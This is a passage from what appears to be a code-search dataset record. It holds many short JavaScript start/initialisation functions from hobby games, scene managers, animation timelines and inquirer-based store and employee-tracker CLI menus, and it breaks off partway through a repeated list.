console.log(\"Animation Started\");\n\n let masterTl = new TimelineMax();\n\n //TODO: add childtimelines to master\n masterTl\n .add(clearStage(), \"scene-clear-stage\")\n .add(enterFloorVegetation(), \"scene-floor-vegitation\")\n .add(enterTreeStuff(), \"tree-stuff\");\n }","function run() { \n\n moveToNewspaper();\n pickBeeper();\n returnHome();\n\n}","function start() {\n\tconsole.log(\"\\nWELCOME TO THE BAMAZON STORE!\\n\");\n\tinquirer.prompt(\n\t\t{\n\t\t\tname: \"browse\",\n\t\t\ttype: \"confirm\",\n\t\t\tmessage: \"Would you like to browse the available products?\"\n\t\t}\n\t).then(function(answer) {\n\t\tif (answer.browse) {\n\t\t\tdisplayProducts();\n\t\t} else {\n console.log(\"Come back soon, have a nice day!\")\n\t\t\tconnection.end();\n\t\t}\n });\n \n}","function start() {\n inquirer\n .prompt([\n {\n type: \"list\",\n name: \"choice\",\n choices: [\n \"View Products for Sale\",\n \"View Low Inventory\",\n \"Add to Inventory\",\n \"Add New Product\"\n ],\n message: \"Select an option.\"\n }\n ])\n .then(function (answers) {\n switch (answers.choice) {\n case \"View Products for Sale\":\n productsForSale();\n break;\n case \"View Low Inventory\":\n lowInventory();\n break;\n case \"Add to Inventory\":\n addInventory();\n break;\n case \"Add New Product\":\n newProduct();\n break;\n }\n });\n}","function start () {\n\t\t\n\t\t// if has not started planting and plant is valid\n\t\t\n\t\tif ( this.started !== true && this.puzzle instanceof _Puzzle.Instance && this.puzzle.started === true && this.plant instanceof _GridElement.Instance ) {\n\t\t\tconsole.log('start PLANTING!');\n\t\t\t\n\t\t\t// set started\n\t\t\t\n\t\t\tthis.started = true;\n\t\t\t\n\t\t\t// start updating planting\n\t\t\t\n\t\t\tthis.update();\n\t\t\tshared.signals.gameUpdated.add( this.update, this );\n\t\t\t\n\t\t}\n\t\t\n\t}","start () {\n this.stateLoop();\n }","function startMenu() {\n createManager();\n}","initializeScene(){}","start () {\n // Draw the starting point for the view with no elements\n }","start () {\n // Draw the starting point for the view with no elements\n }","function Aside() {\n appStarted = true;\n // all objects added to the stage appear in \"layer order\"\n // add a helloLabel to the stage\n seeMore = new objects.Label(\"Click me to see more of my work\", \"32px\", \"Times New Roman\", \"#000000\", canvasHalfWidth, canvasHalfHeight + 200, true);\n stage.addChild(seeMore);\n // add a clickMeButton to the stage\n treesharksLogo = new objects.Icon(loader, \"treesharksLogo\", canvasHalfWidth, canvasHalfHeight - 100, true);\n stage.addChild(treesharksLogo);\n }","function renderStartPage() {\n addView(startPage());\n}","function Start() {\n console.log(\"%c Game Started!\", \"color: blue; font-size: 20px; font-weight: bold;\");\n stage = new createjs.Stage(canvas);\n createjs.Ticker.framerate = 60; // 60 FPS\n createjs.Ticker.on('tick', Update);\n stage.enableMouseOver(20);\n currentSceneState = scenes.State.NO_SCENE;\n config.Game.SCENE = scenes.State.START;\n }","start(){\r\n if (this.scene.scene\r\n .get(\"levelMap\")\r\n .localStorage.getItem(`${this.scene.key}R`) === null) {\r\n this.intro();\r\n }\r\n }","function startGame() {\r\n if (pressed == 0) {\r\n createRain();\r\n animate();\r\n }\r\n }","function start() {\n fly();\n\n}","function Start() {\n console.log(`%c Start Function`, \"color: grey; font-size: 14px; font-weight: bold;\");\n stage = new createjs.Stage(canvas);\n createjs.Ticker.framerate = Config.Game.FPS;\n createjs.Ticker.on('tick', Update);\n stage.enableMouseOver(20);\n Config.Game.ASSETS = assets; // make a reference to the assets in the global config\n Main();\n }","function start() {\r\n\tconst config = validateConfiguration();\r\n\tif(config === false) {\r\n\t\talert(\"Please choose a proper configuration!\");\r\n\t\treturn;\r\n\t}\r\n\ttg = new TaskGenerator(config);\r\n\r\n\tdocument.getElementsByName(\"state:start\").forEach(function(e) {\r\n\t\te.style.display = \"none\";\r\n\t});\r\n\r\n\tdocument.getElementsByName(\"state:task\").forEach(function(e) {\r\n\t\te.style.display = \"block\";\r\n\t});\r\n\tdisplayTask();\r\n}","create(){\n this.add.text(20, 20, \"LoadingGame...\")\n\n this.time.addEvent({\n delay: 3000, // ms\n callback: function(){this.scene.start('MenuScene')},\n //args: [],\n callbackScope: this,\n loop: true \n });\n\n \n }","function start(state) { \n service.goNext(state);\n }","function reactionStart () {\n if (bu2.state != 1) t0 = new Date(); // Falls Animation angeschaltet, neuer Anfangszeitpunkt\n switchButton2(); // Zustand des Schaltknopfs ändern\n enableInput(false); // Eingabefelder deaktivieren\n if (bu2.state == 1) startAnimation(); // Entweder Animation starten bzw. fortsetzen ...\n else stopAnimation(); // ... oder stoppen\n reaction(); // Eingegebene Werte übernehmen und rechnen\n paint(); // Neu zeichnen\n }","function startScreen() {\n\tdraw();\n\tif(usuario_id !== -1)\n\t\tstartBtn.draw();\n}","function runStart()/* : void*/\n {\n this.setUp();\n }","function start() {\n //switch to scene 1\n window.inventoryActive = \"\";\n window.inventoryActive2 = \"\";\n window.inventory[1]= {id:\"\", inspected:false, desciption:\"\"};\n window.inventory[2]= {id:\"\", inspected:false, desciption:\"\"};\n window.inventory[3]= {id:\"\", inspected:false, desciption:\"\"};\n window.inventory[4]= {id:\"\", inspected:false, desciption:\"\"};\n window.inventory[5]= {id:\"\", inspected:false, desciption:\"\"};\n window.inventory[6]= {id:\"\", inspected:false, desciption:\"\"};\n window.timerTime = null;\n window.inspectResultReceived =0;\n window.activeSlot = \"\";\n window.inspectResult= \"\";\n \n}"],"string":"[\n \"function startup() {\\n\\tsceneTransition(\\\"start\\\");\\n}\",\n \"function start() {\\n // To present a scene, use the following line, replacing 'sample' with\\n // the id of any scene you want to present.\\n\\n SceneManager.getSharedInstance().presentScene('newScene1');\\n}\",\n \"function start() {\\n for(var i = 0; i < sceneList.length; i++) {\\n addScene(sceneList[i]); // sceneList.js is imported in html-file\\n }\\n setScene(\\\"start\\\");\\n }\",\n \"function start(){\\n renderGameField();\\n resizeGameField();\\n spawnSnake();\\n spawnFood();\\n eatFood();\\n renderSnake();\\n}\",\n \"function sceneStart(){\\n\\t\\t\\t\\tfor (n = 0; n < heroes.length; n++)\\n\\t\\t\\t\\t\\theroes[n].tl.delay(20).fadeIn(35);\\n\\t\\t\\t\\tmonster.tl.delay(20).fadeIn(35).delay(10).then(function(){\\n\\t\\t\\t\\tgame.sceneStarted = true;\\n\\t\\t\\t\\tthreatBar.opacity = 1;\\n\\t\\t\\t\\tthreatGuage.opacity = 1;\\n\\t\\t\\t\\tmonsterBox.opacity = 1;\\n\\t\\t\\t\\tmonsterName.opacity = 1;\\n\\t\\t\\t\\tpartyBox.opacity = 1;\\n\\t\\t\\t\\tmuteButton.opacity = 1;\\n\\t\\t\\t\\tfor (n = 0; n < nameLabels.length; n++){\\n\\t\\t\\t\\t\\tnameLabels[n].opacity = 1;\\n\\t\\t\\t\\t\\thpLabels[n].opacity = 1;\\n\\t\\t\\t\\t\\tmaxhpLabels[n].opacity = 1;\\n\\t\\t\\t\\t\\tmpLabels[n].opacity = 1;\\n\\t\\t\\t\\t}\\n\\t\\t\\t});\\n\\t\\t\\t}\",\n \"_start() {\\n\\n this._menuView = new MenuView(\\n document.querySelector('nav'),\\n this.sketches\\n );\\n\\n for (var key in this.sketches) {\\n this.DEFAULT_SKETCH = key;\\n break;\\n }\\n\\n this._setupScroll();\\n this._setupWindow();\\n this._onHashChange();\\n }\",\n \"function start()\\n{\\n clear();\\n console.log(\\\"==============================================\\\\n\\\");\\n console.log(\\\" *** Welcome to the Interstellar Pawn Shop *** \\\\n\\\");\\n console.log(\\\"==============================================\\\\n\\\");\\n console.log(\\\"We carry the following items:\\\\n\\\");\\n readCatalog();\\n}\",\n \"static start() {\\n this.buttonCreate();\\n this.buttonHideModal();\\n\\n // Animal.createAnimal('Zebras', 36, 'black-white', false);\\n // Animal.createAnimal('Zirafa', 30, 'brown-white', true);\\n // Animal.createAnimal('Liutas', 35, 'brown', false);\\n // Animal.createAnimal('Dramblys', 20, 'grey', false);\\n\\n this.load();\\n }\",\n \"function start(action) {\\r\\n\\t\\r\\n\\t\\tswitch (action) {\\r\\n\\t\\t\\tcase 'go look':\\r\\n\\t\\t\\t\\ttextDialogue(narrator, \\\"Narocube: What are you going to look at??\\\", 1000);\\r\\n\\t\\t\\tbreak;\\r\\n\\r\\n\\t\\t\\tcase 'explore':\\r\\n\\t\\t\\t\\texploreship(gameobj.explore);\\r\\n\\t\\t\\t\\tgameobj.explore++;\\r\\n\\t\\t\\tbreak;\\r\\n\\r\\n\\t\\t\\tcase 'sit tight':\\r\\n\\t\\t\\t\\ttextDialogue(narrator, \\\"Narocube: Good choice we should probably wait for John to get back.\\\", 1000);\\r\\n\\t\\t\\t\\tgameobj.sittight++;\\r\\n\\t\\t\\tbreak;\\t\\r\\n\\t\\t}\\r\\n}\",\n \"function Start(){\\n activeScene.traverse(function(child){\\n if(child.awake != undefined){\\n child.awake();\\n }\\n });\\n\\n activeScene.traverse(function(child){\\n if(child.start != undefined){\\n child.start();\\n }\\n });\\n activeScene.isReady = true;\\n}\",\n \"function start() {\\n restarts++;\\n currentScene = scenes[0];\\n currentTextIndex = 0;\\n\\n setMainImage();\\n setMainText();\\n hideSetup();\\n updateStats();\\n}\",\n \"function start(){\\n\\t\\n}\",\n \"startGame() {\\n this.scene.start('MenuScene');\\n }\",\n \"function main () {\\n // Initialise application\\n\\n // Get director singleton\\n var director = Director.sharedDirector\\n\\n // Wait for the director to finish preloading our assets\\n events.addListener(director, 'ready', function (director) {\\n // Create a scene and layer\\n var scene = new Scene()\\n , layer = new Galaga()\\n\\n // Add our layer to the scene\\n scene.addChild(layer)\\n\\n // Run the scene\\n director.replaceScene(scene)\\n })\\n\\n // Preload our assets\\n director.runPreloadScene()\\n}\",\n \"function start() {\\n\\n console.log(\\\"\\\\n\\\\t ------------Welcome to Bamazon Store-------------\\\");\\n showProducts();\\n\\n\\n\\n}\",\n \"function main () {\\n // Initialise application\\n\\n // Get director singleton\\n var director = Director.sharedDirector\\n\\n // Wait for the director to finish preloading our assets\\n events.addListener(director, 'ready', function (director) {\\n // Create a scene and layer\\n var scene = new Scene()\\n , layer = new Plague()\\n\\n // Add our layer to the scene\\n scene.addChild(layer)\\n\\n // Run the scene\\n director.replaceScene(scene)\\n })\\n\\n // Preload our assets\\n director.runPreloadScene()\\n}\",\n \"function start() {\\n startMove = -kontra.canvas.width / 2 | 0;\\n startCount = 0;\\n\\n audio.currentTime = 0;\\n audio.volume = options.volume;\\n audio.playbackRate = options.gameSpeed;\\n\\n ship.points = [];\\n ship.y = mid;\\n\\n tutorialMoveInc = tutorialMoveIncStart * audio.playbackRate;\\n showTutorialBars = true;\\n isTutorial = true;\\n tutorialScene.show();\\n}\",\n \"function go() {\\n console.log('go...')\\n \\n const masterT = new TimelineMax();\\n \\n masterT\\n .add(clearStage(), 'scene-clear-stage')\\n .add(enterFloorVegetation(), 'scene-floor-vegetation')\\n .add(enterTreeStuff(), 'scene-enter-treestuff')\\n .add(enterGreet(), 'scene-enter-greet')\\n ;\\n }\",\n \"start() {\\n console.log(\\\"Die Klasse App sagt Hallo!\\\");\\n }\",\n \"async start() {\\n // Navbar in header\\n this.navbar = new Navbar();\\n this.navbar.render('header');\\n\\n // Footer renderin\\n this.footer = new Footer();\\n this.footer.render('footer');\\n\\n this.myFavorites = new Favorites();\\n\\n setTimeout(() => {\\n this.router = new Router(this.myFavorites);\\n }, 0)\\n }\",\n \"StartGame(player, start){\\n this.scene.start('level1');\\n }\",\n \"function start() {\\n init();\\n run();\\n }\",\n \"function start(){\\n\\tcreateDucks(amountDucks, startGame);\\n}\",\n \"start() {// [3]\\n }\",\n \"function setup_goToStart(){\\n // what happens when we move to 'goToStart' section of a trial\\n wp.trialSection = 'goToStart';\\n unstageArray(fb_array);\\n\\n // update objects\\n choiceSet.arc.visible = false;\\n choiceSet.arc_glow.visible = false;\\n startPoint.sp.visible = true;\\n startPoint.sp_glow.visible = false;\\n\\n // update messages\\n msgs.goToStart.visible = true;\\n msgs.tooSlow.visible = false;\\n\\n stage.update();\\n }\",\n \"function FXstart (){\\n setTimeout(FXdisplayLaunch, 1500);\\n FXweatherGeolocation();\\n FXdisplayMarsWeather();\\n }\",\n \"function start (p){\\n\\tresetting=true;\\n\\tfoodCounter=0;\\n\\tdeleteAllFood();\\n\\treset(p);\\n}\",\n \"function start(){\\n // First/starting background\\n imageMode(CENTER);\\n image(gamebackground, width/2, height/2, width, height);\\n fill(255);\\n text(\\\"Master of Pie\\\", width/2 - width/20, height/4);\\n text(\\\"Start\\\", width/2 - width/75, height/2);\\n text(\\\"(Landscape Orientation Preferred)\\\", width/2 - width/10, height/4 + height/14);\\n // Pizzas array is cleared\\n pizzas = [];\\n // Creates the ship\\n ship = new Spacecraft();\\n // Creates pizzas/asteroids at random places offscreen\\n for(let i = 0; i < pizzaorder; i++){\\n pizzas[i] = new Rock(random(0, width), random(0, height), random(width/40, width/10));\\n }\\n // Reset variables\\n click3 = true;\\n reload = 10;\\n piecutter = [];\\n pizzaorder = 1;\\n level = 1;\\n}\",\n \"function start(){\\n\\t\\t //Initialize this Game. \\n newGame(); \\n //Add mouse click event listeners. \\n addListeners();\\n\\t\\t}\",\n \"function start() {\\n\\n}\",\n \"start() {\\n console.log(\\\"Die Klasse App sagt Hallo!\\\");\\n this._router.resolve();\\n }\",\n \"function start() {\\n //Currently does nothing\\n }\",\n \"function start() {\\n getTodosFromLs();\\n addTodoEventListeners();\\n sidebar();\\n updateTodaysTodoList();\\n calendar();\\n}\",\n \"function startLevel1(){\\n teleMode = false;\\n fadeAll();\\n game.time.events.add(500, function() {\\n game.state.start('state0');\\n }, this);\\n}\",\n \"function startGame(){\\n getDictionary();\\n var state = $.deparam.fragment();\\n options.variant = state.variant || options.variant;\\n makeGameBoard();\\n loadState();\\n }\",\n \"function initScene1() {\\n if (currentScene === 1) {\\n\\n $('#game1').show(\\\"fast\\\");\\n\\n //clique sur une porte\\n $('.dungeon0Door').on('click', function (e) {\\n console.log(currentScene);\\n if (consumeEnergy(10)) {\\n if (oD10.roll() >= 8) {\\n printConsole('Vous vous echappez du donjon');\\n loadScene(2);\\n } else {\\n printConsole(\\\"Ce n'est pas la bonne porte ..\\\");\\n $('.dungeon0Door').animate({\\n opacity: '0'\\n }, 'slow', function () {\\n $('.dungeon0Door').animate({\\n opacity: '1'\\n }, 'fast');\\n });\\n }\\n }\\n });\\n }\\n }\",\n \"function App() {\\n var mouse = DreamsArk.module('Mouse');\\n //\\n // /**\\n // * start Loading the basic scene\\n // */\\n DreamsArk.load();\\n //\\n // mouse.click('#start', function () {\\n //\\n // start();\\n //\\n // return true;\\n //\\n // });\\n //\\n // mouse.click('.skipper', function () {\\n //\\n // query('form').submit();\\n //\\n // return true;\\n //\\n // });\\n //\\n // mouse.click('#skip', function () {\\n //\\n // query('form').submit();\\n //\\n // return true;\\n //\\n // });\\n //\\n // mouse.click('.reseter', function () {\\n //\\n // location.reload();\\n //\\n // return true;\\n //\\n // });\\n }\",\n \"startScene() {\\n console.log('[Game] startScene');\\n var that = this;\\n\\n if (this.scene) {\\n console.log('[Game] loading scene');\\n this.scene.load().then(() => {\\n console.log('[Game] Scene', that.scene.name, 'loaded: starting run & render loops');\\n // setTimeout(function() {\\n debugger;\\n that.scene.start();\\n debugger;\\n that._runSceneLoop();\\n that._renderSceneLoop();\\n // }, 0);\\n });\\n } else {\\n console.log('[Game] nothing to start: no scene selected!!');\\n }\\n }\",\n \"async function start() {\\n await hydrate();\\n\\n new Search(\\\".search\\\");\\n\\n const keywords = new Keywords(\\\".keywords\\\");\\n searchStore.subscribe(keywords);\\n\\n const menuDevices = new Devices(\\\".menu-devices\\\");\\n deviceStore.subscribe(menuDevices);\\n dataStore.subscribe(menuDevices);\\n\\n const menuIngredients = new Ingredients(\\\".menu-ingredients\\\");\\n dataStore.subscribe(menuIngredients);\\n ingredientStore.subscribe(menuIngredients);\\n\\n const menuUstensils = new Ustensils(\\\".menu-ustensils\\\");\\n dataStore.subscribe(menuUstensils);\\n ustensilStore.subscribe(menuUstensils);\\n\\n const recipes = new Recipes(\\\".recipes\\\");\\n dataStore.subscribe(recipes);\\n searchStore.subscribe(recipes);\\n}\",\n \"function start() {\\n\\n id = realtimeUtils.getParam('id');\\n if (id) {\\n // Load the document id from the URL\\n realtimeUtils.load(id.replace('/', ''), onFileLoaded, onInitialize);\\n init();\\n } else {\\n // Create a new document, add it to the URL\\n realtimeUtils.createRealtimeFile('MyWebb App', function (createResponse) {\\n window.history.pushState(null, null, '?id=' + createResponse.id);\\n id=createResponse.id;\\n realtimeUtils.load(createResponse.id, onFileLoaded, onInitialize);\\n init();\\n });\\n \\n }\\n \\n \\n }\",\n \"function startGame(){\\n \\t\\tGameJam.sound.play('start');\\n \\t\\tGameJam.sound.play('run');\\n\\t\\t\\n\\t\\t// Put items in the map\\n\\t\\titemsToObstacles(true);\\n\\n\\t\\t// Create the prisoner path\\n\\t\\tGameJam.movePrisoner();\\n\\n\\t\\t// Reset items, we dont want the user to be able to drag and drop them\\n \\t\\tGameJam.items = [];\\n \\t\\t\\n \\t\\tfor (var item in GameJam.levels[GameJam.currentLevel].items) {\\n \\t\\t\\tGameJam.levels[GameJam.currentLevel].items[item].count = GameJam.levels[GameJam.currentLevel].items[item].countStart;\\n \\t\\t}\\n\\n\\t\\t// Reset prisoner speed\\n\\t\\tGameJam.prisoner[0].sprite.speed = 5;\\n\\n\\t\\t// Reset game time\\n\\t\\tGameJam.tileCounter = 0;\\n\\t\\tGameJam.timer.className = 'show';\\n\\t\\tdocument.getElementById('obstacles').className = 'hide';\\n\\t\\tdocument.getElementById('slider').className = 'hide';\\n\\t\\tdocument.getElementById('start-button-wrapper').className = 'hide';\\n\\n\\t\\t// Game has started\\n\\t\\tGameJam.gameStarted = true;\\n\\n\\t\\tGameJam.gameEnded = false;\\n\\n\\t\\tdocument.getElementById('static-canvas').className = 'started';\\n\\n\\t\\tconsole.log('-- Game started');\\n\\t}\",\n \"function begin() {\\n\\tbackgroundBox = document.getElementById(\\\"BackgroundBox\\\");\\n\\n\\tbuildGameView();\\n\\tbuildMenuView();\\n\\n\\tinitSFX();\\n\\tinitMusic();\\n\\n\\tENGINE_INT.start();\\n\\n\\tswitchToMenu(new TitleMenu());\\n\\t//startNewGame();\\n}\",\n \"start() {\\n this.currentTaskType = \\\"teil-mathe\\\";\\n this.v.setup();\\n this.loadTask();\\n }\",\n \"doReStart() {\\n // Stoppe la musique d'intro\\n this.musicIntro.stop();\\n // Lance la scene de menus\\n this.scene.start('MenuScene');\\n }\",\n \"function start() {\\n action(1, 0, 0);\\n}\",\n \"function start () {\\n gmCtrl.setObj();\\n uiCtrl.setUi();\\n }\",\n \"function startApp() {\\n displayProducts();\\n}\",\n \"function loadStart() {\\n // Prepare the screen and load new content\\n collapseHeader(false);\\n wipeContents();\\n loadHTML('#info-content', 'ajax/info.html');\\n loadHTML('#upper-content', 'ajax/texts.html #welcome-text');\\n loadHTML('#burger-container', 'ajax/burger-background.html #burger-flags', function() {\\n loadScript(\\\"js/flag-events.js\\\");\\n });\\n}\",\n \"function start() {\\r\\n var questions = [{\\r\\n type: 'rawlist',\\r\\n name: 'choice',\\r\\n message: 'What would you like to do?',\\r\\n choices: [\\\"View Products for Sale\\\", \\\"View Low Inventory\\\", \\\"Add to Inventory\\\", \\\"Add New Product\\\", \\\"Exit Store\\\"]\\r\\n }];\\r\\n inquirer.prompt(questions).then(answers => {\\r\\n mainMenu(answers.choice);\\r\\n });\\r\\n}\",\n \"function startGame(mapName = 'galaxy'){\\n toggleMenu(currentMenu);\\n if (showStats)\\n $('#statsOutput').show();\\n $('#ammoBarsContainer').show();\\n scene.stopTheme();\\n scene.createBackground(mapName);\\n if (firstTime) {\\n firstTime = false;\\n createGUI(true);\\n render();\\n } else {\\n requestAnimationFrame(render);\\n }\\n}\",\n \"function start() { \\n initiate_graph_builder();\\n initiate_job_info(); \\n initiate_aggregate_info();\\n initiate_node_info();\\n}\",\n \"function startup() {\\n\\tsaveSlot('rainyDayZRestart');\\n\\tfooterVisibility = document.getElementById(\\\"footer\\\").style.visibility;\\n\\tfooterHeight = document.getElementById(\\\"footer\\\").style.height;\\t\\n\\tfooterOverflow = document.getElementById(\\\"footer\\\").style.overflow;\\t\\n\\twrapper.scrollTop = 0;\\n\\tupdateMenu();\\n\\thideStuff();\\n\\tif(localStorage.getItem('rainyDayZAuto')) {\\n\\t\\tloadSlot('rainyDayZAuto');\\n\\t}\\n\\telse{\\n\\t\\tsceneTransition('start');\\n\\t}\\n}\",\n \"function start() {\\n \\tkran.init(\\\"all\\\");\\n \\trequestAnimationFrame(gameLoop);\\n }\",\n \"create() {\\n\\n // add animations (for all scenes)\\n this.addAnimations();\\n\\n // change to the \\\"Home\\\" scene and provide the default chord progression / sequence\\n this.scene.start('Home', {sequence: [0, 1, 2, 3, 0, 1, 2, 3]});\\n }\",\n \"function start(){\\r\\n\\t\\t// for now, start() will call _draw(), which draws all the objects on the stage\\r\\n\\t\\t// but in the next lesson, we'll add an animation loop that calls _draw()\\r\\n\\t\\t_draw(ctx);\\r\\n\\t}\",\n \"function createStart(){\\n // scene components\\n startScreen = initScene();\\n startText = createSkyBox('libs/Images/startscene.png', 10);\\n startScreen.add(startText);\\n\\n // lights\\n \\t\\tvar light = createPointLight();\\n \\t\\tlight.position.set(0,200,20);\\n \\t\\tstartScreen.add(light);\\n\\n // camera\\n \\t\\tstartCam = new THREE.PerspectiveCamera( 90, window.innerWidth / window.innerHeight, 0.1, 1000 );\\n \\t\\tstartCam.position.set(0,50,1);\\n \\t\\tstartCam.lookAt(0,0,0);\\n }\",\n \"function startGame() {\\n\\t\\tstatus.show();\\n\\t\\tinsertStatusLife();\\n\\t\\tsetLife(100);\\n\\t\\tsetDayPast(1);\\n\\t}\",\n \"function start(){\\n\\tautoCompleteSearch();\\n\\tsubmitButton();\\n\\tsubmitButtonRandom();\\n\\tnewSearch();\\n\\trandomChar();\\n\\thideCarouselNav();\\n}\",\n \"function requestFish() {\\n // all_stopped = 1;\\n //addFish++;\\n\\n view.resize(300,300);\\n aquarium.viewport(300,300)\\n aquarium.prepare();\\n}\",\n \"function start() {\\n console.log(\\\"Loop\\\");\\n generateArt();\\n}\",\n \"function start() {\\n\\t\\t\\tsetTimeout(startUp, 0);\\n\\t\\t}\",\n \"function startRitual() {\\n\\tconsole.log(\\\"** glitter **\\\");\\n\\tflash(pump);\\n}\",\n \"start() {\\n\\t\\tthis.emit(\\\"game_start\\\");\\n\\t}\",\n \"function initMenu() {\\n // Connect Animation\\n window.onStepped.Connect(stepMenu);\\n\\n // Make buttons do things\\n let startbutton = document.getElementById('start_button');\\n \\n //VarSet('S:Continue', 'yielding')\\n buttonFadeOnMouse(startbutton);\\n startbutton.onclick = startDemo\\n\\n\\n // run tests for prepar3d integration\\n runTests();\\n}\",\n \"start() {// Your initialization goes here.\\n }\",\n \"function startEncounter(){\\n\\tthis.scene.start('Battle', {type: 'encounter'})\\n}\",\n \"function start() {\\n INFO(\\\"start\\\", clock()+\\\"msecs\\\")\\n loadThemeScript();\\n if (window.MathJax)\\n MathJax.Hub.Queue([\\\"Typeset\\\", MathJax.Hub]);\\n beginInteractionSessions(QTI.ROOT);\\n setTimeout(initializeCurrentItem, 100);\\n setInterval(updateTimeLimits, 100);\\n document.body.style.display=\\\"block\\\";\\n INFO(\\\"end start\\\", clock()+\\\"msecs\\\");\\n }\",\n \"function gamestart() {\\n\\t\\tshowquestions();\\n\\t}\",\n \"function start() {\\n\\n // Make sure we've got all the DOM elements we need\\n setupDOM();\\n\\n // Updates the presentation to match the current configuration values\\n configure();\\n\\n // Read the initial hash\\n readURL();\\n\\n // Notify listeners that the presentation is ready but use a 1ms\\n // timeout to ensure it's not fired synchronously after #initialize()\\n setTimeout(function () {\\n dispatchEvent('ready', {\\n 'indexh': indexh,\\n 'indexv': indexv,\\n 'currentSlide': currentSlide\\n });\\n }, 1);\\n\\n }\",\n \"function startGame() {\\n\\tsetup();\\n\\tmainLoop();\\n}\",\n \"function startScreen() {\\n mainContainer.append(startButton)\\n }\",\n \"function start() {\\n console.log(\\\"Welcome to the Employee Tracker\\\");\\n inquirer\\n .prompt(menuOptions)\\n .then((response) => {\\n console.log(response);\\n switch (response.mainMenu) {\\n case \\\"View all departments\\\":\\n queries.viewDepartments();\\n break;\\n\\n case \\\"View all roles\\\":\\n queries.viewRoles();\\n break;\\n\\n case \\\"View all employees\\\":\\n queries.viewEmployees();\\n break;\\n\\n case \\\"Add a department\\\":\\n queries.addDepartment();\\n break;\\n\\n case \\\"Add a role\\\":\\n queries.addRole();\\n break;\\n\\n case \\\"Add an employee\\\":\\n queries.addEmployee();\\n break;\\n\\n case \\\"Update an employee role\\\":\\n queries.updateRole();\\n break;\\n\\n case \\\"Quit\\\":\\n queries.quit();\\n break;\\n\\n default:\\n break;\\n }\\n });\\n}\",\n \"function main(){\\n\\t//Initialice with first episode\\n\\tvar sel_episodes = [1]\\n\\t//collage(); //Create a collage with all the images as initial page of the app\\n\\tpaintCharacters();\\n\\tpaintEpisodes();\\n\\tpaintLocations(sel_episodes);\\n}\",\n \"create() {\\n // We have nothing left to do here. Start the next scene.\\n \\n\\n this.input.on('pointerdown', function (pointer) {\\n\\n this.scene.start('Game');\\n }, this);\\n\\n \\n }\",\n \"create(){\\n this.scene.start('MenuGame');\\n }\",\n \"function start() {\\n inquirer\\n .prompt({\\n name: \\\"action\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"View Products for Sale\\\",\\n \\\"View Low Inventory\\\",\\n \\\"Add to Inventory\\\",\\n \\\"Add New Product\\\",\\n \\\"Exit\\\"\\n ]\\n })\\n .then(function (answer) {\\n switch (answer.action) {\\n case \\\"View Products for Sale\\\":\\n viewProducts();\\n break;\\n\\n case \\\"View Low Inventory\\\":\\n viewLowInventory();\\n break;\\n\\n case \\\"Add to Inventory\\\":\\n addInventory();\\n break;\\n\\n case \\\"Add New Product\\\":\\n addProduct();\\n break;\\n\\n case \\\"exit\\\":\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"function start() {\\n console.log(\\\"Animation Started\\\");\\n\\n let masterTl = new TimelineMax();\\n\\n //TODO: add childtimelines to master\\n masterTl\\n .add(clearStage(), \\\"scene-clear-stage\\\")\\n .add(enterFloorVegetation(), \\\"scene-floor-vegitation\\\")\\n .add(enterTreeStuff(), \\\"tree-stuff\\\");\\n }\",\n \"function run() { \\n\\n moveToNewspaper();\\n pickBeeper();\\n returnHome();\\n\\n}\",\n \"function start() {\\n\\tconsole.log(\\\"\\\\nWELCOME TO THE BAMAZON STORE!\\\\n\\\");\\n\\tinquirer.prompt(\\n\\t\\t{\\n\\t\\t\\tname: \\\"browse\\\",\\n\\t\\t\\ttype: \\\"confirm\\\",\\n\\t\\t\\tmessage: \\\"Would you like to browse the available products?\\\"\\n\\t\\t}\\n\\t).then(function(answer) {\\n\\t\\tif (answer.browse) {\\n\\t\\t\\tdisplayProducts();\\n\\t\\t} else {\\n console.log(\\\"Come back soon, have a nice day!\\\")\\n\\t\\t\\tconnection.end();\\n\\t\\t}\\n });\\n \\n}\",\n \"function start() {\\n inquirer\\n .prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"choice\\\",\\n choices: [\\n \\\"View Products for Sale\\\",\\n \\\"View Low Inventory\\\",\\n \\\"Add to Inventory\\\",\\n \\\"Add New Product\\\"\\n ],\\n message: \\\"Select an option.\\\"\\n }\\n ])\\n .then(function (answers) {\\n switch (answers.choice) {\\n case \\\"View Products for Sale\\\":\\n productsForSale();\\n break;\\n case \\\"View Low Inventory\\\":\\n lowInventory();\\n break;\\n case \\\"Add to Inventory\\\":\\n addInventory();\\n break;\\n case \\\"Add New Product\\\":\\n newProduct();\\n break;\\n }\\n });\\n}\",\n \"function start () {\\n\\t\\t\\n\\t\\t// if has not started planting and plant is valid\\n\\t\\t\\n\\t\\tif ( this.started !== true && this.puzzle instanceof _Puzzle.Instance && this.puzzle.started === true && this.plant instanceof _GridElement.Instance ) {\\n\\t\\t\\tconsole.log('start PLANTING!');\\n\\t\\t\\t\\n\\t\\t\\t// set started\\n\\t\\t\\t\\n\\t\\t\\tthis.started = true;\\n\\t\\t\\t\\n\\t\\t\\t// start updating planting\\n\\t\\t\\t\\n\\t\\t\\tthis.update();\\n\\t\\t\\tshared.signals.gameUpdated.add( this.update, this );\\n\\t\\t\\t\\n\\t\\t}\\n\\t\\t\\n\\t}\",\n \"start () {\\n this.stateLoop();\\n }\",\n \"function startMenu() {\\n createManager();\\n}\",\n \"initializeScene(){}\",\n \"start () {\\n // Draw the starting point for the view with no elements\\n }\",\n \"start () {\\n // Draw the starting point for the view with no elements\\n }\",\n \"function Aside() {\\n appStarted = true;\\n // all objects added to the stage appear in \\\"layer order\\\"\\n // add a helloLabel to the stage\\n seeMore = new objects.Label(\\\"Click me to see more of my work\\\", \\\"32px\\\", \\\"Times New Roman\\\", \\\"#000000\\\", canvasHalfWidth, canvasHalfHeight + 200, true);\\n stage.addChild(seeMore);\\n // add a clickMeButton to the stage\\n treesharksLogo = new objects.Icon(loader, \\\"treesharksLogo\\\", canvasHalfWidth, canvasHalfHeight - 100, true);\\n stage.addChild(treesharksLogo);\\n }\",\n \"function renderStartPage() {\\n addView(startPage());\\n}\",\n \"function Start() {\\n console.log(\\\"%c Game Started!\\\", \\\"color: blue; font-size: 20px; font-weight: bold;\\\");\\n stage = new createjs.Stage(canvas);\\n createjs.Ticker.framerate = 60; // 60 FPS\\n createjs.Ticker.on('tick', Update);\\n stage.enableMouseOver(20);\\n currentSceneState = scenes.State.NO_SCENE;\\n config.Game.SCENE = scenes.State.START;\\n }\",\n \"start(){\\r\\n if 